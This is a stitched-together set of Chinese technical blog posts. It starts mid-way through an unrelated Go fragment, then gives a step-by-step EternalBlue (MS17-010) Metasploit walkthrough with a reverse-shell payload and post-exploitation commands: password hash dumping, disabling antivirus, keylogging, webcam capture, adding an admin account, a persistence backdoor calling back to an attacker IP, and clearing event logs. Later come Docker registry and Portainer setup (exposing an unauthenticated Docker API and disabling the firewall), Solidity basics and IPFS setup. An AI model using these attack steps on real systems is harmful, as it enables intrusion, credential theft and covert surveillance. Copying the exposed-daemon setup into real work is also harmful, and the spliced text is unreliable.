pool.priced.Put(tx)

}
// Set the potentially new pending nonce and notify any subsystems of the new tx
pool.beats[addr] = time.Now()
pool.pendingState.SetNonce(addr, tx.Nonce()+1)
go pool.txFeed.Send(TxPreEvent{tx})

永恒之蓝 - 勒索病毒

目录

Metasploit

使用方法

ms17-010漏洞复现

1. 主机发现

2. 进入MSF框架

3. 使用ms17-010扫描模块,对靶机进行扫描

4. 使用ms17-010攻击模块,对靶机进行攻击

后渗透阶段

Post后渗透模块

查看目标主机是否运行在虚拟机上

关闭杀毒软件

访问文件系统

下载/上传文件

权限提升

获取用户密码

运行程序

屏幕截图

创建新账号

启用远程桌面

键盘记录

进程迁移

禁止目标主机使用键盘鼠标

用目标主机摄像头拍照

使用扩展库

生成持续性后门

清除事件日志


Metasploit

Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。

MSF的更新:apt update

​ apt install metasploit-framework

使用方法

  • ​ 进入框架:msfconsole
  • ​ 使用search命令查找相关漏洞: search ms17-010
  • ​ 使用use进入模块: use exploit/windows/smb/ms17_010_eternalblue
  • ​ 使用info查看模块信息: info
  • ​ 设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp
  • ​ 查看模块需要配置的参数:show options
  • ​ 设置参数:set RHOST 192.168.125.138
  • ​ 攻击:exploit / run
  • ​ 后渗透阶段

不同的攻击用到的步骤也不一样,接下来我们用永恒之蓝ms17-010来熟悉一下MSF工具的使用


ms17-010漏洞复现

描述

Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

影响版本

目前已知受影响的Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0

复现环境

攻击机: kali

靶机:win server 2008 r2 (192.168.1.8)


复现过程

1. 主机发现

nmap进行ip端口扫描

img

扫描到开放了445端口,而永恒之蓝利用的就是445端口的smb服务,操作系统溢出漏洞

2. 进入MSF框架

1
2
msfconsole
search ms17-010

img

这里可以得到两个工具,其中auxiliary/scanner/smb/smb_ms17_010是永恒之蓝扫描模块,探测主机是否存在MS17_010漏洞

exploit/windows/smb/ms17_010_eternalblue是永恒之蓝攻击代码,一般配合使用,前者先扫描,若显示有漏洞,再进行攻击。

3. 使用ms17-010扫描模块,对靶机进行扫描

使用模块

​ 该模块不会直接在攻击机和靶机之间建立访问,它们只负责执行扫描,嗅探,指纹识别等相关功能以辅助渗透测试。

msf> use auxiliary/scanner/smb/smb_ms17_010

查看模块需要配置的参数

show option

img

​ 右边Required为yes的选项说明左边 Current Setting 这个项对应的需要填写,比如Rhoststs

设置攻击目标

​ RHOSTS 参数是要探测主机的ip或ip范围(比如 192.168.125.125-129.168.125.140 或者 192.168.1.0/24)

set rhosts 192.168.1.8

再次查看配置参数

show options

执行扫描

run

img

​ 显示主机很可能能够会受到永恒之蓝漏洞的攻击

4. 使用ms17-010攻击模块,对靶机进行攻击

use exploit/windows/smb/ms17_010_eternalblue

查看这个漏洞的信息

info

查看可攻击的系统平台,这个命令显示该攻击模块针对哪些特定操作系统版本、语言版本的系统

show targets

img

​ 这里只有一个,有些其他的漏洞模块对操作系统的语言和版本要求的很严,比如MS08_067,这样就要我们指定目标系统的版本的。如果不设置的话,MSF会自动帮我们判断目标操作系统的版本和语言(利用目标系统的指纹特征)

查看攻击载荷

​ 攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令

show payloads

​ 该命令可以查看当前漏洞利用模块下可用的所有Payload

img

设置攻击载荷

set payload windows/x64/meterpreter/reverse_tcp

查看配置参数

show options

设置目标攻击ip

set rhosts 192.168.1.8 (如果有多个攻击目标ip间直接用空格隔开就行)

设置用于接收从目标机弹回来的shell

set LHOST 192.168.1.11

执行攻击

exploit(run) img

后渗透阶段

运行了exploit命令之后,我们开启了一个reverse TCP监听器来监听本地的 4444 端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符 meterpreter > 出现,我们输入: shell 即可切换到目标主机的windows shell,要想从目标主机shell退出到 meterpreter ,我们只需输入:exit

img

要想从 meterpreter 退出到MSF框架,输入:background

img

输入 sessions -l 查看我们获得的shell

输入 sessions -i 1 即可切换到id为1的shell

img

  • Post后渗透模块

在meterpreter > 中我们可以使用以下的命令来实现对目标的操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

​```
sysinfo #查看目标主机系统信息
run scraper #查看目标主机详细信息
run hashdump #导出密码的哈希
load kiwi #加载
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid #查看当前Meterpreter Shell的进程
PIDmigrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime #查看主机运行时间
getuid #查看获取的当前权限
getsystem #提权
run killav #关闭杀毒软件
screenshot #截图
webcam_list #查看目标主机的摄像头
webcam_snap #拍照
webcam_stream #开视频
execute 参数 -f 可执行文件 #执行可执行程序
run getgui -u hack -p 123 #创建hack用户,密码为123
run getgui -e #开启远程桌面
keyscan_start #开启键盘记录功能
keyscan_dump #显示捕捉到的键盘记录信息
keyscan_stop #停止键盘记录功能
uictl disable keyboard #禁止目标使用键盘
uictl enable keyboard #允许目标使用键盘
uictl disable mouse #禁止目标使用鼠标
uictl enable mouse #允许目标使用鼠标
load #使用扩展库
run #使用扩展库
run persistence -X -i 5 -p 8888 -r 192.168.10.27 #反弹时间间隔是5s 会自动连接
192.168.27的4444端口,缺点是容易被杀毒软件查杀
portfwd add -l 3389 -r 192.168.11.13 -p 3389 #将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址
clearev #清除日志

下面的模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。

1
2
3
4
5
6
7
8
9
run post/windows/manage/migrate                  #自动进程迁移     
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run windows/gather/smart_hashdump #dump出所有用户的hash

查看目标主机是否运行在虚拟机上

img

关闭杀毒软件

拿到目标主机的shell后第一件事就是关闭掉目标主机的杀毒软件,通过命令:

run killav

img

访问文件系统

Meterpreter支持非常多的文件系统命令(基本跟Linux系统命令类似,这里就不演示了)

img

下载/上传文件

download file 从目标主机下载文件

upload file 上传文件到目标主机

img

​ 这里下载的文件的路径默认在家目录下

权限提升

有的时候,你可能会发现自己的 Meterpreter 会话受到了用户权限的限制,而这将会严重影响你在目标系统中的活动。比如说,修改注册表、安装后门或导出密码等活动都需要提升用户权限,而Meterpreter给我们提供了一个 getsystem 命令,它可以使用多种技术在目标系统中实现提权

getuid 获取当前用户的信息

img

可以看到,当我们使用 getsystem进行提权后,用户身材为 NT AUTHORITY\SYSTEM ,这个也就是Windows的系统权限

获取用户密码

执行 :run hashdump

hashdump 模块可以从SAM数据库中导出本地用户账号, 该命令的使用需要系统权限

img

从上图可知,导出了三个用户名及密码,输出格式为,用户名:SID:LM哈希:NTLM哈希:::

我们来破解用户名为chenchen的用户密码,可以复制 NTLM哈希去在线网站如 www.cmd5.com 破解

img

运行程序

查看目标主机安装了哪些应用

run post/windows/gather/enum_applications

img

可以使用 execute 命令在目标系统中执行程序。使用方法如下:

1
execute  参数  -f  可执行文件

可选参数:

-f:指定可执行文件

-H:创建一个隐藏进程

-a:传递给命令的参数

-i: 跟进程进行交互

-m:从内存中执行

-t: 使用当前伪造的线程令牌运行进程

-s: 在给定会话中执行进程

img

如果我想执行它某个应用程序的话,该怎么实现??

屏幕截图

输入 : screenshot 即可对目标主机的当前使用屏幕进去屏幕截取

img

创建新账号

查看目标主机有哪些账户

run post/windows/gather/enum_logged_on_users

img

接着,我们在目标机中创建一个新的账号 : run getgui -u hack -p 123 ,这个命令会创建用户,并把他添加到 Administrators 组中,这样该用户就拥有远程桌面的权限了。

这里成功创建了用户,但是添加到Administrators组中失败了 ??why

img

如果添加到Administrators组中失败了的话,我们可以运行:shell ,进行cmd窗口手动将该用户添加到administrators组中。

启用程桌面

当我们新添加的用户已经拥有远程桌面之后,我们就可以使用这个账号凭证来开启远程桌面会话了。

我们可以通过运行getuid脚本帮我们开启目标主机的远程桌面,可以使用-e参数确保目标设备开启了远程桌面功能(重启之后同样会自动开启),我们输入: run getgui -e 或者 run post/windows/manage/enable_rdp

在目标机上右键属性远程桌面确实被打开了

在开启远程桌面会话之前,我们还需要使用“idletime”命令检查远程用户的空闲时长: idletime ,这一步不太懂??

img

然后怎么通过远程桌面用我们创建的用户登录目标主机?后面再来解答

键盘记录

Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:

keyscan_start:开启键盘记录功能

keyscan_dump:显示捕捉到的键盘记录信息

keyscan_stop:停止键盘记录功能

在使用键盘记录功能时,通常需要跟目标进程进行绑定,接下来我们介绍如何绑定进程,然后获取该进程下的键盘记录

进程迁移

Meterpreter 既可以单独运行,也可以与其他进程进行绑定。因此,我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定,并以此来实现持久化。

在下面的例子中,我们会将Meterpreter跟 winlogon.exe 绑定,并在登录进程中捕获键盘记录,以获得用户的密码。

首先,我们需要使用: ps 命令查看目标设备中运行的进程:

img

我们可以使用: getpid 查看我们当前的进程id

使用: migrate 目标进程ID 命令来绑定目标进程id,这里绑定目标pid的时候,经常会断了 shell。进程迁移后会自动关闭原来进程,没有关闭可使用 kill pid 命令关闭进程。或者使用自动迁移进程(run post/windows/manage/migrate)命令,系统会自动寻找合适的进程然后迁移

img

进程迁移绑定完成后,就可以开始捕获键盘数据了

运行键盘记录功能的命令

img

我在目标机上进行了按键操作为何不记录??

禁止目标主机使用键盘鼠标

  • 禁止(允许)目标使用键盘: uictl disable (enable) keyboard
  • 禁止(允许)目标使用鼠标: uictl disable (enable) mouse

img

what??

用目标主机摄像头拍照

  • 获取目标系统的摄像头列表:webcam_list
  • •从指定的摄像头,拍摄照片:webcam_snap
  • •从指定的摄像头,开启视频:webcam_stream

img

我这里没有摄像头就不演示了

使用扩展库

使用 load -l 查看扩展库

img

生成持续性后门

因为 meterpreter 是基于内存DLL建立的连接,所以,只要目标主机关机,我们的连接就会断。总不可能我们每次想连接的时候,每次都去攻击,然后再利用 meterpreter 建立连接,这样太麻烦了。所以,我们得在目标主机系统内留下一个持续性的后门,只要目标主机开机了,我们就可以连接到该主机。

建立持续性后门有两种方法

  • 通过启动项启动
  • 通过服务启动

启动项启动

用这种方法的话,我们先生成一个后门工具 ,传送门 –> 用msf生成一个后门木马

然后放到windows的启动目录中:

1
C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

服务启动

通过服务启动,我们可以运行命令

1
run persistence -X -i 5 -p 8888 -r 192.168.43.226

img

注释反弹时间间隔是5s, 会自动连接192.168.43.226的4444端口,缺点是容易被杀毒软件查杀

然后它就在目标机新建了这个文件:C:\Windows\TEMP\CJzhFlNOWa.vbs ,并把该服务加入了注册表中,只要开机就会启动

在目标主机可以看到这样一个文件夹,是一个VBScript脚本

img

查看靶机的端口连接情况 netstat -an 可以看到靶机连着我们的8888端口

img

靶机进行重启后,查看端口状态确实是连着的,但是msf断了又得重新exploit,如何通过留的后门进入靶机而不是通过msf进行进入到靶机里面?

清除事件日志

完成攻击操作之后,千万别忘了“打扫战场”。我们的所有操作都会被记录在目标系统的日志文件之中,因此我们需要在完成攻击之后使用命令 clearev 命令来清除事件日志:

img

Docker Registry - 搭建本地仓库并测试

搭建一个私有的docker registry

找一台docker host,然后运行

1
docker run -d -v /opt/registry:/var/lib/registry -p 5000:5000 --restart=always --name registry registry:2

docker registry 绑定了到本地的80端口。 接下来我们配置DNS server,假如我们这台运行registry的机器地址是192.168.99.100,

然后我们找到上次配置gitlab ci的那个dns container

执行

1
docker exec -it dns-server /bin/sh

添加一条新的记录

1
2
3
4
/ # more /etc/dnsmasqhosts
192.168.211.10 gitlab.example.com
192.168.99.100 registry.example.com
/ #

然后重启container

1
docker restart dns-server

最后我们去gitlab-ci服务器,ping一下

1
2
3
4
5
6
7
8
9
10
[vagrant@gitlab-ci ~]$ ping registry.example.com
PING registry.example.com (192.168.99.100) 56(84) bytes of data.
64 bytes from registry.example.com (192.168.99.100): icmp_seq=1 ttl=63 time=0.395 ms
64 bytes from registry.example.com (192.168.99.100): icmp_seq=2 ttl=63 time=0.537 ms
64 bytes from registry.example.com (192.168.99.100): icmp_seq=3 ttl=63 time=0.683 ms
^C
--- registry.example.com ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 0.395/0.538/0.683/0.119 ms
[vagrant@gitlab-ci ~]$

成功。

测试

在gitlab-ci服务器上,编辑

创建一个文件

1
sudo vim /etc/docker/daemon.json

然后写入内容:

1
2
3
[vagrant@gitlab-ci ~]$ sudo more /etc/docker/daemon.json
{ "insecure-registries":["registry.example.com:5000"] }
[vagrant@gitlab-ci ~]$

从docker hub拉取一个busybox,然后打一个tag

1
2
docker pull busybox
docker tag busybox registry.example.com:5000/busybox

然后push到我们的私有registry里

1
2
3
4
5
[vagrant@gitlab-ci ~]$ docker push registry.example.com:5000/busybox
The push refers to repository [registry.example.com:5000/busybox]
c5183829c43c: Pushed
latest: digest: sha256:c7b0a24019b0e6eda714ec0fa137ad42bc44a754d9cea17d14fba3a80ccc1ee4 size: 527
[vagrant@gitlab-ci ~]$

成功。

Docker Portainer - 安装并远程连接docker-WebUI

Centos7远程访问系统中的docker-WebUI工具Portainer

首先获取portainer image

1
docker pull portainer/portainer

新建一个卷(portainer_data)来存Portainer数据

1
2
3
4
5
docker volume create portainer_data
docker run -d -p 9000:9000 -p 8000:8000 --name portainer --restart always -v /var/run/docker.sock:/var/run/docker.sock -v portainer_data:/data portainer/portainer

#第二种本地存储
docker run -d --restart=always -p 9000:9000 -v /root/portainer:/data -v /var/run/docker.sock:/var/run/docker.sock --name dev-portainer portainer/portainer

修改将要被远程连接的客户机的docker.service 文件开通docker的远程管理:

1
2
vim /lib/systemd/system/docker.service
ExecStart=/usr/bin/dockerd -H unix:///var/run/docker.sock -H tcp://0.0.0.0:2375

重启客户机docker

1
2
systemctl daemon-reload 
systemctl restart docker

关闭客户机防火墙

1
2
3
4
5
6
7
查看防火墙状态: systemctl status firewalld.service  #绿的running表示防火墙开启

执行关闭命令: systemctl stop firewalld.service

再次执行查看防火墙命令:systemctl status firewalld.service

执行开机禁用防火墙自启命令 : systemctl disable firewalld.service

查看端口信息

1
2
ss -ntpl
#存在2375即可访问

Solidity - 02 - 基本语法

元素的可见性

private 修饰的函数为私有的,只有合约内部可以调用

Public修饰的函数为共有的,合约内外都可以调用

public/private 可以修饰状态变量

状态变量默认是私有的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pragma solidity ^0.4.24;


contract Test {
//状态变量
//类型不匹配时需要显示转换类型
//返回值需要使用returns描述

//public/private 可以修饰状态变量
//状态变量默认是私有的
uint256 public ui256 = 100;

int8 private i10 = -10;


//private 修饰的函数为私有的,只有合约内部可以调用
function add() private view returns(uint256) {
return ui256 + uint256(i10);
}


function isEqueal() public view returns(bool) {
return ui256 == uint256(i10);
}

//Public修饰的函数为共有的,合约内外都可以调用
function Add() public view returns(uint256){
return add();
}
}

View,Constant,Pure介绍

==//在constant/view 修饰函数的函数中,如果去修改了状态变量,编译器不会报错,但是赋值不会成功(坑!!!!)==

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
pragma solidity ^0.4.24;


contract Test {
//状态变量
//类型不匹配时需要显示转换类型
//返回值需要使用returns描述



//public/private 可以修饰状态变量
//状态变量默认是私有的
uint256 public ui = 100;

int8 private i10 = 10;


// 1. 如果函数中没有用到状态变量:(既没有读也没有写),就修饰为pure
// 2. 如果读了,但是没写,修饰为view、constant
// 3. 如果写了,那么不修饰即可

function add() public constant returns(uint256) {
return ui + uint256(i10);
}

function test() public pure returns(string) {
return "hello";
}

function setValue(uint256 num) public {
ui = num;
}

//在constant/view 修饰函数的函数中,如果去修改了状态变量,编译器不会报错,但是赋值不会成功(坑!!!!)
function setValue1(uint256 num) public constant {
ui = num;
}

function isEqueal() public view returns(bool) {
return ui == uint256(i10);
}

}

payable关键字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pragma solidity ^0.4.24;


contract Test {

string public str ;

//修饰为payable的函数才可以接收转账
//不指定payable无法接收
function test1(string src) public payable {
str = src;
}

function test2(string src) public {
str = src;
}

function getbalance() public view returns(uint256) {
//this代表当前合约本身
//balance方法,获取当前合约的余额
return this.balance;
}
}

地址获取余额balance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity ^0.4.24;


contract Test {


address public addr1 = 0x0014723a09acff6d2a60dcdf7aa4aff308fddc160c;

//地址address类型本质上是一个160位的数字

//可以进行加减,需要强制转换
function add() public view returns(uint160) {
return uint160(addr1) + 10;
}


//1. 匿名函数:没有函数名,没有参数,没有返回值的函数,就是匿名函数
//2. 当调用一个不存在的方法时,合约会默认的去调用匿名函数
//3. 匿名函数一般用来给合约转账,因为费用低
function () public payable {

}


function getBalance() public view returns(uint256) {
return addr1.balance;
}


function getContractBalance() public view returns(uint256) {
//this代表当前合约本身
//balance方法,获取当前合约的余额
return address(this).balance;
}

}

地址转账

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
pragma solidity ^0.4.24;


contract Test {


address public addr0 = 0x00ca35b7d915458ef540ade6068dfe2f44e8fa733c;
address public addr1 = 0x0014723a09acff6d2a60dcdf7aa4aff308fddc160c;


//1. 匿名函数:没有函数名,没有参数,没有返回值的函数,就是匿名函数
//2. 当调用一个不存在的方法时,合约会默认的去调用匿名函数
//3. 匿名函数一般用来给合约转账,因为费用低
function () public payable {

}

function getBalance() public view returns(uint256) {
return addr1.balance;
}

function getContractBalance() public view returns(uint256) {
return address(this).balance;
}

//由合约向addr1 转账10以太币
function transfer() public {
//1. 转账的时候单位是wei
//2. 1 ether = 10 ^18 wei (10的18次方)
//3. 向谁转钱,就用谁调用tranfer函数
//4. 花费的是合约的钱
//5. 如果金额不足,transfer函数会抛出异常
addr1.transfer(10 * 10 **18);
}

//send转账与tranfer使用方式一致,但是如果转账金额不足,不会抛出异常,而是会返回false
function sendTest() public {
addr1.send(10 * 10 **18);
}
}

bytes1:内置的固定长度的字节数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pragma solidity ^0.4.24;


contract Test {

bytes1 b1 ="h";

bytes20 b10 = "helloworld";

function getLen() public view returns(uint256) {
return b10.length;
}

function setValue() private pure {
//1. 固定长度数组可以通过下标访问
//2. 只能读取,不能写
//b10[0] = v;
}

//3. 存储的时候是ascii值存储
function getValue(uint256 i) public view returns(byte) {
return b10[i];
}
}

bytes动态字节数组

  1. 可以不分空间,直接进行字符串赋值,会自动分配空间

  2. 如果未分配过空间,使用下标访问会访问越界报错

  3. 可以设置长度,自动分配对应空间,并且初始化为0

  4. 可以通过下标进行数据修改

  5. 支持push操作,在bytes最后面追加元素

注意的坑:

旧版本的remix可以直接在remix中使用”helloworld”形式给bytes赋值,新版本不允许,必须使用0x格式

例如,如果函数类型为:byte b1, 那么赋值时需要输入的格式为: “h”(旧版本), 0x68(新版本)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pragma solidity ^0.4.24;


contract Test {

bytes public name;


function getLen() public view returns(uint256) {
return name.length;
}

//1. 可以不分空间,直接进行字符串赋值,会自动分配空间
function setValue(bytes input) public {
name = input;
}

//2. 如果未分配过空间,使用下标访问会访问越界报错
function getByIndex(uint256 i) public view returns(byte) {
return name[i];
}

//3. 可以设置长度,自动分配对应空间,并且初始化为0
function setLen(uint256 len) public {
name.length = len;
}


//4.可以通过下标进行数据修改
function setValue2(uint256 i) public {
name[i] = 'h';
}

//5. 支持push操作,在bytes最后面追加元素
function pushData() public {
name.push('h');
}

}

string

  • 动态尺寸的UTF-8编码字符串,是特殊的可变字节数组
  • 引用类型
  • 不支持下标索引
  • 不支持length、push方法
  • 可以修改(需通过bytes转换)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pragma solidity ^0.4.24;


contract Test {

string public name = "lily";


function setName() public {
bytes(name)[0] = "L";
}

function getLength() public view returns(uint256) {
return bytes(name).length;
}

function setLength(uint256 i) public {
bytes(name).length = i;

bytes(name)[i - 1] = 'H';
}
}

storageVsMemory关键字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
pragma solidity ^0.4.24;


contract Test {
string public name = "lily";
uint256 public num = 10;



function call1() public {
setName(name);
}


//对于引用类型数据,作为函数参数时,默认是memory类型(值传递)
//function setName(string input) private {
function setName(string memory input) private {
num = 20;
bytes(input)[0] = "L";
}

function call2() public {
setName2(name);
}

//2. 如果想引用传递,那么需要明确指定为stroage类型
function setName2(string storage input) private {
num = 30;
bytes(input)[0] = "L";
}

//如果局部变量是string,数组,结构体类型数据,默认情况下是storage类型
function localTest() public {
//string tmp = name;
string storage tmp = name;
num = 40;
bytes(tmp)[0] = "L";
}

function localTest1() public {

//也可以明确设置为memory类型
string memory tmp = name;
num = 50;
bytes(tmp)[0] = "L";
}
}

byte1BytesString相互转换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
pragma solidity ^0.4.24;


contract Test {

bytes10 public b10 = 0x68656c6c6f776f726c64; //helloworld

bytes public bs10 = new bytes(b10.length);

//将固定长度数组的值赋值给不定长度数组
function fixedByteToBytes() public {
//bs10 = b10;
for (uint256 i = 0; i < b10.length; i++) {
bs10[i] = b10[i];
}
}




//将bytes转成string
string public str1;

function bytesToString() public {
fixedByteToBytes();
str1 = string(bs10);
}



//将string转成bytes
bytes public bs20;

function stringToBytes() public {
bytesToString();
bs20 = bytes(str1);
}
}

自定义定长数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
pragma solidity ^0.4.24;


contract Test {

//Type[Len] name

uint256[10] public numbers = [1,2,3,4,5,6,7,8,9, 10];

uint256 public sum;

// - 类型T,长度K的数组定义为T[K],例如:uint [5] numbers, byte [10] names;
// - 内容可变
// - 长度不可变,不支持push
// - 支持length方法

function total() public returns(uint256) {
for (uint256 i = 0; i < numbers.length; i++) {
sum += numbers[i];
}

return sum;
}

function setLen() public {
//numbers.length = 10;
}

function changeValue(uint256 i , uint256 value) public {
numbers[i] = value;
}

//++++++++++++++++++++++++++++++++++

bytes10 public helloworldFixed = 0x68656c6c6f776f726c64;

byte[10] public helloworldDynamic = [byte(0x68), 0x65, 0x6c, 0x6c, 0x6f, 0x77, 0x6f, 0x72, 0x6c, 0x64];

bytes public b10;

function setToBytes() public returns (string){
for (uint256 i=0; i< helloworldDynamic.length; i++) {
byte b1 = helloworldDynamic[i];
b10.push(b1);
}

return string(b10);
}
}

自定义不定长数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
pragma solidity ^0.4.24;


contract Test {

//第一种创建方式,直接赋值
uint8[] numbers = [1,2,3,4,5,6,7,8,9,10];

function pushData(uint8 num) public {
numbers.push(num);
}

function getNumbers() public view returns(uint8[]) {
return numbers;
}


//使用new关键字进行创建,赋值给storage变量数组
uint8[] numbers2;

function setNumbers2() public {
numbers2 = new uint8[](7);
numbers2.length = 20;
numbers2.push(10);
}

function getNumbers2() public view returns(uint8[]) {
return numbers2;
}

function setNumbers3() public {
//使用new创建的memory类型数组,无法改变长度
//uint8[] memory numbers3 = new uint8[](7);
uint8[] memory numbers3;

//numbers3.push(10);
}
}

结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity ^0.4.24;
//pragma experimental ABIEncoderV2;

contract Test {
//定义结构之后无分号,与枚举一致
struct Student {
string name;
uint age;
uint score;
string sex;
}

Student[] public Students;


//两种赋值方式
Student public stu1 = Student("lily", 18, 90, "girl");
Student public stu2 = Student({name:"Jim", age:20, score:80, sex:"boy"});

function assign() public {
Students.push(stu1);
Students.push(stu2);

stu1.name = "Lily";
}

// function returnStudent() public view returns(Student) {
// return stu1;
// }

//使用圆括号包裹起来的类型叫做元组“tuple”
//特性:1. 不可修改,2.可以容纳不同类型的数据
function returnStudent() public view returns(string, uint, uint, string) {
return (stu1.name, stu1.age, stu1.score, stu1.sex);
}
}

mapping

  1. 相同的key对应的值会被覆盖
  2. 所有key都有值,不会抛异常,如果没有设置过某个key,会返回默认值
    1. bool : false
    2. int:0
    3. string : “”
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pragma solidity ^0.4.20;


contract Test {
//id -> name
mapping(uint => string) public id_names;



//构造函数:
//1. 对象在创建的时候,自动执行的函数,完成对象的初始化工作
//2. 构造函数仅执行一次

// function Test() public {

// }

constructor() public{
id_names[1] = "lily";
id_names[2] = "Jim";
id_names[3] = "Lily";
id_names[3] = "Tom";
}

function getNameById(uint id) public returns (string){
//加上storage如何赋值?
string memory name = id_names[id];
return name;
}

function setNameById(uint id) public returns (string){
// mapping(uint => string) memory id_name = id_names;
// var ids = id_names;
id_names[id] = "Hello";
}


// function getMapLength() public returns (uint){
// return id_names.length;
// }

}

IPFS - 01 - 搭建

一、安装IPFS

> * 1.下载Centos或WIndows的安装包 

1604282306274

  • 2.上传并安装IPFS

1604282593675

  • 3.解压并安装

    1
    2
    sh install.sh

    1604282679231

二、测试IPFS

1
2
3
ipfs  daemon   #启动ipfs服务 加入IPFS网络

ipfs

1604282697844

1
2
3
4
5
6
ipfs init 

ll -a ~/ //可以看到家目录下创建一个 .ipfs 文件夹

ipfs cat /ipfs/QmQPeNsJPyVWPFDVHb77w8G42Fvo15z4bG2X8D2GhfbSXc/readme //可以看到IPFS几个模块

1604282774407

1
2
ipfs id 

1604282874036

可以通过快速开始学习IPFS的基本操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
[root@zzuxyj7 .ipfs]# ipfs cat /ipfs/QmQPeNsJPyVWPFDVHb77w8G42Fvo15z4bG2X8D2GhfbSXc/quick-start
# 0.1 - Quick Start

This is a set of short examples with minimal explanation. It is meant as
a "quick start".


Add a file to ipfs:

echo "hello world" >hello
ipfs add hello


View it:

ipfs cat <the-hash-you-got-here>


Try a directory:

mkdir foo
mkdir foo/bar
echo "baz" > foo/baz
echo "baz" > foo/bar/baz
ipfs add -r foo


View things:

ipfs ls <the-hash-here>
ipfs ls <the-hash-here>/bar
ipfs cat <the-hash-here>/baz
ipfs cat <the-hash-here>/bar/baz
ipfs cat <the-hash-here>/bar
ipfs ls <the-hash-here>/baz


References:

ipfs refs <the-hash-here>
ipfs refs -r <the-hash-here>
ipfs refs --help


Get:

ipfs get <the-hash-here> -o foo2
diff foo foo2


Objects:

ipfs object get <the-hash-here>
ipfs object get <the-hash-here>/foo2
ipfs object --help


Pin + GC:

ipfs pin add <the-hash-here>
ipfs repo gc
ipfs ls <the-hash-here>
ipfs pin rm <the-hash-here>
ipfs repo gc


Daemon:

ipfs daemon (in another terminal)
ipfs id


Network:

(must be online)
ipfs swarm peers
ipfs id
ipfs cat <hash-of-remote-object>


Mount:

(warning: fuse is finicky!)
ipfs mount
cd /ipfs/<the-hash-here>
ls


Tool:

ipfs version
ipfs update
ipfs commands
ipfs config --help
